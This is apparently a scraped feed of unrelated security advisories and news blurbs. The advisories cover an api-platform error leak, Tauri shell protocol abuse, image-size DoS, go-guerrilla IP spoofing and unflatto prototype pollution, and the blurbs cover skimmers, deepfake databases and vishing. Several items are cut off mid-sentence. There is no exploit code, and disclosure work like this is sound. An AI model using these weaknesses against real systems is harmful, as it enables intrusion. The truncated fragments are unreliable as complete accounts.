#js

### Summary Exception messages, that are not HTTP exceptions, are visible in the JSON error response. ### Details While we wanted to make our errors compatible with the [JSON Problem](https://datatracker.ietf.org/doc/html/rfc7807) specification, we ended up handling more exceptions then we did previously (introduced at https://github.com/api-platform/core/pull/5823). Instead of leaving that to Symfony, we ended up serializing errors with our normalizers which lead to not hiding the exception details. Note that the trace is hidden in production but the message is not, and the message can contain sensitive information. ### PoC At https://github.com/ili101/api-platform/tree/test3.2 it triggers an authentication exception as LDAP is not reachable. You can find the message available as a JSON response when trying to reach an endpoint. ### Impact Version 3.2 until 3.2.4 is impacted.

Cybersecurity researcher Jeremiah Fowler uncovers a massive 47.8GB database with disturbing AI-generated content belonging to GenNomis.

Threat hunters are warning of a sophisticated web skimmer campaign that leverages a legacy application programming interface (API) from payment processor Stripe to validate stolen payment information prior to exfiltration. "This tactic ensures that only valid card data is sent to the attackers, making the operation more efficient and potentially harder to detect," Jscrambler researchers Pedro

### Impact The Tauri [`shell`](https://tauri.app/plugin/shell/) plugin exposes functionality to execute code and open programs on the system. The [`open`](https://tauri.app/reference/javascript/shell/#open) endpoint of this plugin is designed to allow open functionality with the system opener (e.g. `xdg-open` on Linux). This was meant to be restricted to a reasonable number of protocols like `https` or `mailto` by default. This default restriction was not functional due to improper validation of the allowed protocols, allowing for potentially dangerous protocols like `file://`, `smb://`, or `nfs://` and others to be opened by the system registered protocol handler. By passing untrusted user input to the `open` endpoint these potentially dangerous protocols can be abused to gain remote code execution on the system. This either requires direct exposure of the endpoint to application users or code execution in the frontend of a Tauri application. You are not affected if you have e...

## Summary In the process of remediating [CVE-2025-29927](https://github.com/advisories/GHSA-f82v-jwr5-mffw), we looked at other possible exploits of Middleware. We independently verified this low severity vulnerability in parallel with two reports from independent researchers. Learn more [here](https://vercel.com/changelog/cve-2025-30218-5DREmEH765PoeAsrNNQj3O). ## Credit Thank you to Jinseo Kim [kjsman](https://hackerone.com/kjsman?type=user) and [ryotak](https://hackerone.com/ryotak?type=user) for the responsible disclosure. These researchers were awarded as part of our bug bounty program.

### Summary `image-size` is vulnerable to a Denial of Service vulnerability when processing specially crafted images. The issue occurs because of an infine loop in `findBox` when processing certain images with a box with size `0`. ### Details If the first bytes of the input does not match any bytes in `firstBytes`, then the package tries to validate the image using other handlers: ```js // https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31 export function detector(input: Uint8Array): imageType | undefined { const byte = input[0] if (byte in firstBytes) { const type = firstBytes[byte] if (type && typeHandlers[type].validate(input)) { return type } } const finder = (key: imageType) => typeHandlers[key].validate(input) //<-- return keys.find(finder) } ``` Some handlers that call `findBox` to validate or calculate the image size are `jxl`, `heif` and `jp2`. `JXL` handler calls `findBox` inside `validate`. To reach the `findBox` ...

A generative AI nudify service has been found storing explicit deepfakes in an unprotected cloud database.

### Summary The PROXY command is accepted multiple times, allowing a client to spoof its IP address when the proxy protocol is being used. ### Details When ProxyOn is enabled, [it looks like the PROXY command will be accepted multiple times](https://github.com/phires/go-guerrilla/blob/fca3b2d8957a746997c7e71fca39004f5c96e91f/server.go#L495), with later invocations overriding earlier ones. The proxy protocol only supports one initial PROXY header; anything after that is considered part of the exchange between client and server, so the client is free to send further PROXY commands with whatever data it pleases. go-guerrilla will treat these as coming from the reverse proxy, allowing a client to spoof its IP address. Note that the format of the PROXY header is [well-defined](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt). It probably shouldn't be treated as an SMTP command; parsing it the same way is likely to result in odd behavior and could lead to other vulnerabili...

### Impact alizeait unflatto <= 1.0.2 was discovered to contain a prototype pollution via the method exports.unflatto at /dist/index.js. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties. ### Patches The problem has been patched in 1.0.3 ### References https://github.com/advisories/GHSA-799q-f2px-wx8c

A vishing scam via Microsoft Teams led to attackers misusing TeamViewer to drop malware and stay hidden using simple but effective techniques.